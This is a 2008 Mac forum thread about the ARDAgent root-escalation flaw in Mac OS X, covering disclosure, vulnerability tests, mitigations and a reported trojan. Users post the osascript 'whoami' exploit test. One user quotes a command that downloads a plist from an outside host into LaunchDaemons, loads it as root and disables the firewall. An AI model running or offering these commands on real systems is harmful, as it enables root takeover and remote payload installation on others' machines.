[Horsepoo!!!]

Originally Posted by besson3c 

What does leaving ports open have to do with this?

It has nothing to do with this except that it's related to security...I was merely making a reference to a thread about some other subject on security and trojans. Reading is hard isn't it. But it's ok besson3c, reading comprehension problems is probably the most common thing on the internet so you're forgiven.

[Peter]

This isn't that bad. Ironically it'd be most severe to computers such as ones in the Apple Store.
You can't do it over SSH. You need physical access, and you need to be logged in for it to work.

I'm not saying it isn't serious - it is. But it isn't a huge crazy security hole.

This was quite neat:

Code:
osascript -e 'tell app "ARDAgent" to do shell script "cd /System/Library/LaunchDaemons ; curl -o bash.plist http://cdslash.net/temp/bash.plist [cdslash.net] ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl'

[ghporter]

Originally Posted by Chuckit 

Sending Charles' example command to ARDAgent will answer the question definitively. If whoami says that ARDAgent is root, then it's vulnerable; if it says it's your user, then ARDAgent is safe.

Thanks. I was sort of confused by a number of tests presented here. Too many paths and stuff to mess with for a "is it vulnerable?" test in my opinion. Charles' (which Simon repeated) is pretty terse and hard to mess up. That's just what I was looking for.

[besson3c]

Does WindowServer support X11 forwarding? If not, will this exploit work with an xterm?

[mduell]

Originally Posted by Horsepoo!!! 

One thing's for sure, Apple can remove this page and probably should: Apple - Mac OS X Leopard - Technology - Security

Sandbox tested
Sometimes hackers try to hijack an application to run malicious code. Sandboxing helps ensure that applications do only what they’re intended to by restricting which files they can access, whether they can talk to the network, and whether they can be used to launch other applications. Helper applications in Leopard — including the software that enables Bonjour and the Spotlight indexer — are sandboxed to guard against attackers.

Did the sandbox screening process fail? Did the sandboxing analysis process fail? I doubt Apple will every publicly answer that.

[turtle777]

Originally Posted by mduell 

Did the sandbox screening process fail? Did the sandboxing analysis process fail? I doubt Apple will every publicly answer that.

According to Apple's response to the different submissions, they don't think there is a problem.

Yeah, I know, how stupid that sounds.

-t

[villalobos]

Originally Posted by ghporter 

Thanks. I was sort of confused by a number of tests presented here. Too many paths and stuff to mess with for a "is it vulnerable?" test in my opinion. Charles' (which Simon repeated) is pretty terse and hard to mess up. That's just what I was looking for.

On that point, why do I get an error message then? Why isn't everybody vulnerable, since this does not seem to be relying on people checking some options or not?

[Chuckit]

Originally Posted by villalobos 

On that point, why do I get an error message then? Why isn't everybody vulnerable, since this does not seem to be relying on people checking some options or not?

I'm guessing you're on 10.4 and getting an "AppleEvent timed out" message? I think the initial report may have been partly incorrect, because I haven't gotten the exploit to work with ARDAgent on any 10.4 Mac as of yet, only Leopard.

BTW, in case anyone else was wondering, I ran a script to test whether there are any more system utilities that have this particular set of vulnerabilities (setuid + Cocoa scripting) and I didn't find anything. I'm not an expert on AppleEvents, so it's possible I missed something, but I think ARDAgent is the only thing that users need to fix at the moment.

[besson3c]

Chuckit: good idea looking for other setuid root files. To anybody interested, you don't need a script to do this search, you can conduct this search by doing a:

Code:
sudo find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \;

[Chuckit]

Well, like I said, it wasn't specifically looking for setuid. There are tons of those. I was specifically looking for setuid utilities that looked like they might support Cocoa Scripting.

Basically, what I was looking for was:
- Is it setuid?
-- Does it link to Foundation?
--- Is it an app rather than a standalone tool?

Some AppleScript guru might be able to correct me if there's something I missed with that, but that seems like a reasonable test.

[villalobos]

Originally Posted by Chuckit 

I'm guessing you're on 10.4 and getting an "AppleEvent timed out" message? I think the initial report may have been partly incorrect, because I haven't gotten the exploit to work with ARDAgent on any 10.4 Mac as of yet, only Leopard.

BTW, in case anyone else was wondering, I ran a script to test whether there are any more system utilities that have this particular set of vulnerabilities (setuid + Cocoa scripting) and I didn't find anything,

Yes 10.4.11. And that's the error message I get indeed.

[steve626]

Originally Posted by Peter 

... Ironically it'd be most severe to computers such as ones in the Apple Store.
You can't do it over SSH. You need physical access, and you need to be logged in for it to work.

Well it's not that much of a threat in the Apple Store. I was in an Apple Store after closing once and the employees fanned out with portable external drives that were used to (a) reformat the internal hard drives on the store Macs and (b) restore a standard build of the OS plus applications on each store computer. I asked one of the employees why they do that and she told me that they have no idea what crazy stuff customers might put on their computers during the day, so they reformat them all and restore them back every night.

[SleePyCode]

Thanks a lot apple. Due to your negligence this *rootkit* exploit had to become public and put millions of apple users at risk, when you could of simply fixed it as it should of been 4 years ago.

Nice to know Apple has let this whole run for 4 years. Makes me question if I should us os x or go linux.

[TETENAL]

Originally Posted by SleePyCode 

Thanks a lot apple. Due to your negligence this *rootkit* exploit had to become public and put millions of apple users at risk, when you could of simply fixed it as it should of been 4 years ago.

You can thank CharlesS for that. It was his idea to post his findings on Slashdot instead of notifying Apple and giving them appropriate time to fix it.

[JKT]

Um, Charles states explicitly that he has notified Apple of this several times over the past FOUR ****ING YEARS.

[analogika]

Charles is also NOT the one who posted this to Slashdot.

[TETENAL]

Originally Posted by JKT 

Um, Charles states explicitly that he has notified Apple of this several times over the past FOUR ****ING YEARS.

But not that ARD Agent runs shell scripts as root when scripted if I understood him correctly. Apple should have been given sufficient time to investigate this issue before running to the media.

[TETENAL]

Originally Posted by analogika 

Charles is also NOT the one who posted this to Slashdot.

Then thanks to whoever that guy was. Not.

[CharlesS]

Originally Posted by analogika 

Charles is also NOT the one who posted this to Slashdot.

Yeah, that wasn't me. The only place I posted this on the Web was here, so you guys could know about it and chmod the binary so you wouldn't be vulnerable. And that was after the article showed up on Slashdot and the cat was already out of the bag.

And yeah, I've been letting Apple know that root accepted AppleScripts from non-root for a really freaking long time now. Hopefully now they'll find this issue important enough for their attention.

[Chuckit]

Originally Posted by TETENAL 

But not that ARD Agent runs shell scripts as root when scripted if I understood him correctly. Apple should have been given sufficient time to investigate this issue before running to the media.

Four years is a lot of time to investigate the issue considering I wrote a script that could have cracked the case in like five minutes.

[turtle777]

Originally Posted by steve626 

Well it's not that much of a threat in the Apple Store. I was in an Apple Store after closing once and the employees fanned out with portable external drives that were used to (a) reformat the internal hard drives on the store Macs and (b) restore a standard build of the OS plus applications on each store computer. I asked one of the employees why they do that and she told me that they have no idea what crazy stuff customers might put on their computers during the day, so they reformat them all and restore them back every night.

Are you kidding me ? They do it manually ?

Do they have people do this all night ?

-t

[Chuckit]

It shouldn't take more than an hour (at least at the stores I've been to) even if they only have one hard drive per employee.

[turtle777]

Originally Posted by Chuckit 

It shouldn't take more than an hour (at least at the stores I've been to) even if they only have one hard drive per employee.

Can't that be done automagically over LAN and Apple Remote Desktop ?

-t

[analogika]

Automated and complete restore - all it takes is a reboot:

Faronics Deep Freeze Mac - ABSOLUTE Workstation Integrity

[kupan787]

Its working for me, but I have a bunch of other crap being spwed out (is that normal)?

benmac:~ kupan787$ osascript -e 'tell application "ARDAgent" to do shell script "whoami"'
2008-06-21 13:08:15.377 osascript[97280:10b] *** _NSAutoreleaseNoPool(): Object 0x137ff0 of class NSPathStore2 autoreleased with no pool in place - just leaking
Stack: (0x90e0ccdf 0x90d1a767 0x90d224af 0x90d21fae 0x90d26a5b 0xd48e6 0xd4b5b 0x97207f97 0x972082f6 0x921f6c74 0x921e8648 0x921f17be 0x921f45ab 0x93462caf 0x2a017a 0x2a3dfd 0x2a3fc0 0x28bc3d 0x28bf07 0x28bfa5 0x283a2d 0x929c3f31 0x97206168 0x29f6c4 0x29f7e2 0x29f915 0x29f11c 0x29f8c9 0x929c3f31 0x97217513 0x20c9)
2008-06-21 13:08:15.379 osascript[97280:10b] *** _NSAutoreleaseNoPool(): Object 0x139400 of class NSPathStore2 autoreleased with no pool in place - just leaking
Stack: (0x90e0ccdf 0x90d1a767 0x90d19869 0x90d23fd2 0x90d26c32 0xd48e6 0xd4b5b 0x97207f97 0x972082f6 0x921f6c74 0x921e8648 0x921f17be 0x921f45ab 0x93462caf 0x2a017a 0x2a3dfd 0x2a3fc0 0x28bc3d 0x28bf07 0x28bfa5 0x283a2d 0x929c3f31 0x97206168 0x29f6c4 0x29f7e2 0x29f915 0x29f11c 0x29f8c9 0x929c3f31 0x97217513 0x20c9)
2008-06-21 13:08:15.380 osascript[97280:10b] *** _NSAutoreleaseNoPool(): Object 0x13a990 of class NSPathStore2 autoreleased with no pool in place - just leaking
Stack: (0x90e0ccdf 0x90d1a767 0x90d224af 0x90d21fae 0x90d21eb6 0x90d27f58 0xd49fc 0xd4b5b 0x97207f97 0x972082f6 0x921f6c74 0x921e8648 0x921f17be 0x921f45ab 0x93462caf 0x2a017a 0x2a3dfd 0x2a3fc0 0x28bc3d 0x28bf07 0x28bfa5 0x283a2d 0x929c3f31 0x97206168 0x29f6c4 0x29f7e2 0x29f915 0x29f11c 0x29f8c9 0x929c3f31 0x97217513 0x20c9)
2008-06-21 13:08:15.380 osascript[97280:10b] *** _NSAutoreleaseNoPool(): Object 0x13a790 of class NSBundle autoreleased with no pool in place - just leaking
Stack: (0x90e0ccdf 0x90d19562 0xd49fc 0xd4b5b 0x97207f97 0x972082f6 0x921f6c74 0x921e8648 0x921f17be 0x921f45ab 0x93462caf 0x2a017a 0x2a3dfd 0x2a3fc0 0x28bc3d 0x28bf07 0x28bfa5 0x283a2d 0x929c3f31 0x97206168 0x29f6c4 0x29f7e2 0x29f915 0x29f11c 0x29f8c9 0x929c3f31 0x97217513 0x20c9)
2008-06-21 13:08:15.381 osascript[97280:10b] *** _NSAutoreleaseNoPool(): Object 0x13acd0 of class NSCFArray autoreleased with no pool in place - just leaking
Stack: (0x90e0ccdf 0x90d19562 0x90d4b8f1 0x90d4b8ba 0xd4ad2 0xd4b5b 0x97207f97 0x972082f6 0x921f6c74 0x921e8648 0x921f17be 0x921f45ab 0x93462caf 0x2a017a 0x2a3dfd 0x2a3fc0 0x28bc3d 0x28bf07 0x28bfa5 0x283a2d 0x929c3f31 0x97206168 0x29f6c4 0x29f7e2 0x29f915 0x29f11c 0x29f8c9 0x929c3f31 0x97217513 0x20c9)
2008-06-21 13:08:15.381 osascript[97280:10b] *** _NSAutoreleaseNoPool(): Object 0x13b3f0 of class NSPathStore2 autoreleased with no pool in place - just leaking
Stack: (0x90e0ccdf 0x90d1a767 0x90d19869 0x90d23fd2 0x90d23e62 0x90d4c05a 0x90d4b9bf 0x90d4b8ba 0xd4ad2 0xd4b5b 0x97207f97 0x972082f6 0x921f6c74 0x921e8648 0x921f17be 0x921f45ab 0x93462caf 0x2a017a 0x2a3dfd 0x2a3fc0 0x28bc3d 0x28bf07 0x28bfa5 0x283a2d 0x929c3f31 0x97206168 0x29f6c4 0x29f7e2 0x29f915 0x29f11c 0x29f8c9 0x929c3f31 0x97217513 0x20c9)
2008-06-21 13:08:15.382 osascript[97280:10b] LCC Scroll Enhancer loaded
2008-06-21 13:08:15.383 osascript[97280:10b] *** _NSAutoreleaseNoPool(): Object 0x13d110 of class NSMachPort autoreleased with no pool in place - just leaking
Stack: (0x90e0ccdf 0x90d19562 0x90d38f65 0x90d5fe4f 0xdb702 0xdb5bf 0xd4b2e 0xd4b5b 0x97207f97 0x972082f6 0x921f6c74 0x921e8648 0x921f17be 0x921f45ab 0x93462caf 0x2a017a 0x2a3dfd 0x2a3fc0 0x28bc3d 0x28bf07 0x28bfa5 0x283a2d 0x929c3f31 0x97206168 0x29f6c4 0x29f7e2 0x29f915 0x29f11c 0x29f8c9 0x929c3f31 0x97217513 0x20c9)
2008-06-21 13:08:15.383 osascript[97280:10b] *** _NSAutoreleaseNoPool(): Object 0x13e3f0 of class NSCFNumber autoreleased with no pool in place - just leaking
Stack: (0x90e0ccdf 0x90d19562 0xdc1b2 0xdb766 0xdb5bf 0xd4b2e 0xd4b5b 0x97207f97 0x972082f6 0x921f6c74 0x921e8648 0x921f17be 0x921f45ab 0x93462caf 0x2a017a 0x2a3dfd 0x2a3fc0 0x28bc3d 0x28bf07 0x28bfa5 0x283a2d 0x929c3f31 0x97206168 0x29f6c4 0x29f7e2 0x29f915 0x29f11c 0x29f8c9 0x929c3f31 0x97217513 0x20c9)
2008-06-21 13:08:15.384 osascript[97280:10b] *** _NSAutoreleaseNoPool(): Object 0x13e830 of class NSCFString autoreleased with no pool in place - just leaking
Stack: (0x90e0ccdf 0x90d19562 0x90d9a02a 0xdb766 0xdb5bf 0xd4b2e 0xd4b5b 0x97207f97 0x972082f6 0x921f6c74 0x921e8648 0x921f17be 0x921f45ab 0x93462caf 0x2a017a 0x2a3dfd 0x2a3fc0 0x28bc3d 0x28bf07 0x28bfa5 0x283a2d 0x929c3f31 0x97206168 0x29f6c4 0x29f7e2 0x29f915 0x29f11c 0x29f8c9 0x929c3f31 0x97217513 0x20c9)
2008-06-21 13:08:15.384 osascript[97280:10b] *** _NSAutoreleaseNoPool(): Object 0x13e870 of class NSPathStore2 autoreleased with no pool in place - just leaking
Stack: (0x90e0ccdf 0x90d1a767 0x90d28d75 0xdb782 0xdb5bf 0xd4b2e 0xd4b5b 0x97207f97 0x972082f6 0x921f6c74 0x921e8648 0x921f17be 0x921f45ab 0x93462caf 0x2a017a 0x2a3dfd 0x2a3fc0 0x28bc3d 0x28bf07 0x28bfa5 0x283a2d 0x929c3f31 0x97206168 0x29f6c4 0x29f7e2 0x29f915 0x29f11c 0x29f8c9 0x929c3f31 0x97217513 0x20c9)
2008-06-21 13:08:15.384 osascript[97280:10b] *** _NSAutoreleaseNoPool(): Object 0x13ea00 of class NSCFData autoreleased with no pool in place - just leaking
Stack: (0x90e0ccdf 0x90d19562 0x90d2dc35 0x90d3b9fa 0x90d3b8b8 0x90d3b6d5 0xdb79e 0xdb5bf 0xd4b2e 0xd4b5b 0x97207f97 0x972082f6 0x921f6c74 0x921e8648 0x921f17be 0x921f45ab 0x93462caf 0x2a017a 0x2a3dfd 0x2a3fc0 0x28bc3d 0x28bf07 0x28bfa5 0x283a2d 0x929c3f31 0x97206168 0x29f6c4 0x29f7e2 0x29f915 0x29f11c 0x29f8c9 0x929c3f31 0x97217513 0x20c9)
2008-06-21 13:08:15.411 osascript[97280:10b] Error loading /Library/ScriptingAdditions/QXPScriptingAdditions.osax/Contents/MacOS/QXPScriptingAdditions: dlopen(/Library/ScriptingAdditions/QXPScriptingAdditions.osax/Contents/MacOS/QXPScriptingAdditions, 262): no suitable image found. Did find:
/Library/ScriptingAdditions/QXPScriptingAdditions.osax/Contents/MacOS/QXPScriptingAdditions: mach-o, but wrong architecture
osascript: OpenScripting.framework - scripting addition /Library/ScriptingAdditions/QXPScriptingAdditions.osax declares no loadable handlers.
root
benmac:~ kupan787$

[Chuckit]

It looks like you have some misbehaving Scripting Addition installed.

[SleePyCode]

I got that as well, but it did spit out the name at the end. I changed the chmod and now it spits out my name. So I feel better. I fixed it on all 3 of my macs since I do use remote desktop and management to be lazy to do stuff such as software updates

I was not attacking CharlesS or anyone else for releasing this. If apple had done their job right over the past 4 years then this would of been fixed and not be an issue now. I see why this was made public, maybe Apple will actually fix it when they start getting lots of heat from this. Then again, maybe they will continue to mark it that it works as expected.

We can only hope that 10.5.3 or a security update is released with this patched in it. But this is Apple we are talking about :|

[Chuckit]

Well, they're no longer saying it's working properly at least.

[steve626]

Originally Posted by turtle777 

Are you kidding me ? They do it manually ?

Do they have people do this all night ?

-t

In terms of the complete erase and restore of all the Macs in the Apple Store, this was in the Glendale, California store and it was over a year ago. Then it was done manually, each employee had three or four of these firelite drives and restored three of four Macs in parallel. It seemed pretty fast, maybe a half hour or less, and since it was all done in parallel, it was pretty much all done at once. They just hooked up each external drive and ran an erase/restore script and while it was running they could go do other things.

I suspect they might do this through a network now, maybe, but in any case, they probably aren't too concerned about security risks on their computers because they wipe them and restore a standard build each night after closing, at least in that store.

[Amorya]

If you turn on Remote Management (in Sharing), then it appears the exploit no longer works: I get

Code:
Magrat:~ amorya$ osascript -e 'tell application "ARDAgent" to do shell script "whoami"'
31:55: execution error: ARDAgent got an error: "whoami" doesn’t understand the do shell script message. (-1708)

Amorya

[larkost]

Originally Posted by steve626 

In terms of the complete erase and restore of all the Macs in the Apple Store, this was in the Glendale, California store and it was over a year ago. Then it was done manually, each employee had three or four of these firelite drives and restored three of four Macs in parallel. It seemed pretty fast, maybe a half hour or less, and since it was all done in parallel, it was pretty much all done at once. They just hooked up each external drive and ran an erase/restore script and while it was running they could go do other things.

I suspect they might do this through a network now, maybe, but in any case, they probably aren't too concerned about security risks on their computers because they wipe them and restore a standard build each night after closing, at least in that store.

I would be really surprised if they were not using some sort of NetRestore at this point. And given an ASR-scanned dmg the restore (remote or disk-to-disk) should take no more than 15 minutes per disk (assuming a really large disk).

I have a system that can restore a computer over the network (complete disk wipe and restore) in about 12 minutes and is remotely trigger-able.

[moep]

Here we go.

Flaw in Apple Remote Desktop exploited via trojan

apple deserves this one. still no reaction it seems.

[C.A.T.S. CEO]

Flaw in Apple Remote Desktop exploited via trojan

OK, which one of you did it?

[Arkham_c]

The thing is, all someone would have to do is write a simple game or utility, and use the Apple Installer that requires your password to install, then put the game up on Versiontracker, and you'd easily infect 10,000 machines without exploiting any flaws at all. People are used to giving their password during an install, so they would do so without raising suspicion.

Social engineering has always been the most effective way to compromise systems, and always will be,

In related news, try my new game on versiontracker!

[TETENAL]

That wouldn't work on publicly accessible machines like in universities. People don't have the password there.

[mduell]

I'm surprised this hasn't been fixed yet.

[EuropeBetterThanAmerica]

Does Mac OS X have an uneventful life so far?

[analogika]

yes.

[- - e r i k - -]

Two fallacies noted in this thread:

1) Security by obscurity

By making this bug known and public isn't making it more of a threat. It does however put pressure on Apple to fix it and on users to protect themselves.

2) Local exploits

If a wannabe hacker has physical access to your machine all bets are off.

[P]

Originally Posted by - - e r i k - - 

2) Local exploits

If a wannabe hacker has physical access to your machine all bets are off.

Yes, that is the argument that always gets trotted out. Two things about it: It doesn't apply in a public environment, such as the inside of an Applestore or a computer lab at a school. If you'd start pulling the machine apart, people would notice and stop you. If you run a program, noone would notice.

The other thing is what has happened - a trojan can run as root without you writing your admin password, and even do so from a regular user account.

[Big Mac]

Well said, P. The notion that local exploits don't mean anything because a box is compromised if someone has access to its keyboard is illogical and is to me an excuse for lazy programming. OS X enforces a lot of local security measures that Mac users have had to adapt to, and given that focus on security it doesn't make much sense if there are well known exploits that can defeat those measures easily. Single user mode is one potential local exploit that's too easy to access in my opinion, but at least Apple provides the firmware password option to remedy that if one wishes to. One should not be able to easily defeat local security only with access to a keyboard.

[Horsepoo!!!]

Originally Posted by Big Mac 

Well said, P. The notion that local exploits don't mean anything because a box is compromised if someone has access to its keyboard is illogical and is to me an excuse for lazy programming. OS X enforces a lot of local security measures that Mac users have had to adapt to, and given that focus on security it doesn't make much sense if there are well known exploits that can defeat those measures easily. Single user mode is one potential local exploit that's too easy to access in my opinion, but at least Apple provides the firmware password option to remedy that if one wishes to. One should not be able to easily defeat local security only with access to a keyboard.

In most cases, if someone has managed to beat other forms of security to get a physical hold of your machine, firmware passwords or OS X passwords won't make a difference in the grand scheme of things. This guy has dodged security guards or has managed to break into your house unnoticed. This guy will likely take the hard drive with him whether the guards, the university lab officials or you like it or not. It's certainly the easiest part of the whole process.

As erik has said...if someone has access to your machine, all bets are off. Hackers won't spend time trying to hack through local security with the keyboard when they're right next to the effin' machine. No amounts of clever software security measures will stop this person from opening your computer up and taking the data with him.

Firmware passwords exist so people get warm fuzzy feelings of (false) security.

[TETENAL]

Sorry, but there is a major difference between opening a computer case and taking the hard drive with you and running an applescript to become root when it comes to places like university computer labs. The former can hardly be done when other people are around, the latter can.

[P]

What TETENAL said. On Apple's current iMacs, getting to the harddrive and disassembling it takes some fifteen minutes and requires special tools. It takes about as long to put it back together, and anyone in the same room will know that you're up to no good. Not sure about the Mac mini, but it's about the same. Running a script like this would take seconds, and it can be done in the background while you're browsing or whatever.

[Hal Itosis]

Originally Posted by Horsepoo!!! 

In most cases, if someone has managed to beat other forms of security to get a physical hold of your machine, firmware passwords or OS X passwords won't make a difference in the grand scheme of things. This guy has dodged security guards or has managed to break into your house unnoticed. This guy will likely take the hard drive with him whether the guards, the university lab officials or you like it or not. It's certainly the easiest part of the whole process.

 
Have you ever been in a university computer lab?
They're not stocked with MacBooks we can just slip into our knapsacks.
Towers, eMacs and iMacs mostly... tethered to the tabletop.
Often a paid student lab monitor is present, or at least other students are there.
Risk stealing a hard drive? What ever for?

Originally Posted by Horsepoo!!! 

Firmware passwords exist so people get warm fuzzy feelings of (false) security.

 
Those can also be bolstered by solder and/or rubber cement (to obviate RAM tinkering).
[plus Permatex Locktite, stripped screw-heads, etc., etc.]

Sure, if someone's Mac is stolen it's end of story... but in office environments, etc.,
firmware passwords are fairly effective (so long as they're used along with other anti-
theft measures in mind).

[mduell]

Originally Posted by - - e r i k - - 

2) Local exploits

If a wannabe hacker has physical access to your machine all bets are off.

Local exploits have nothing to do with physical access. In this context "local" is contrasted to "remote", and just means the attacker has an unprivileged account on the machine.

[unhappyending]

I read about this, I just deleted ADRAgent.

[turtle777]

Man, I just had this scary thought that someone could easily create an app that gains root access, installs a key logger and then transmits the harvested data via the internet.

Can you imagine the yield from an infected Apple Store ?

Even if it's just running one day, you'd get tons of passwords.

-t

[- - e r i k - -]

Originally Posted by mduell 

Local exploits have nothing to do with physical access. In this context "local" is contrasted to "remote", and just means the attacker has an unprivileged account on the machine.

Correct me if I'm wrong, but this exploit only works with physical access (gui user + terminal), no?

[Horsepoo!!!]

Originally Posted by P 

What TETENAL said. On Apple's current iMacs, getting to the harddrive and disassembling it takes some fifteen minutes and requires special tools. It takes about as long to put it back together, and anyone in the same room will know that you're up to no good. Not sure about the Mac mini, but it's about the same. Running a script like this would take seconds, and it can be done in the background while you're browsing or whatever.

You gotta be shittin' me. Some computers do in fact make it difficult to access the hard drive but other computers (like say a Mac Pro) is a matter of snipping a lock, pulling a latch, pulling a drawer and snatching the HD with zero tools. You might be slow to remove hard drives but even I can pull a hard drive from a machine within 1 or 2 minutes.

Not sure about the Mac mini? WTF...nobody's gonna remove a Mac mini drive, they'll just drop the Mac mini in a small bag and run.

And NO...everyone who thinks a hacker will try to hack into a computer lab computer is dumb...those machines are ghosted everyday. Even if the lab computer is compromised, the next day it won't be. And even if a hacker wanted to get to data on a lab computer, why are people insisting that it would (or rather wouldn't be) when tons of people are watching? Come on. Think McFly.

'tards be invadin' MacNN.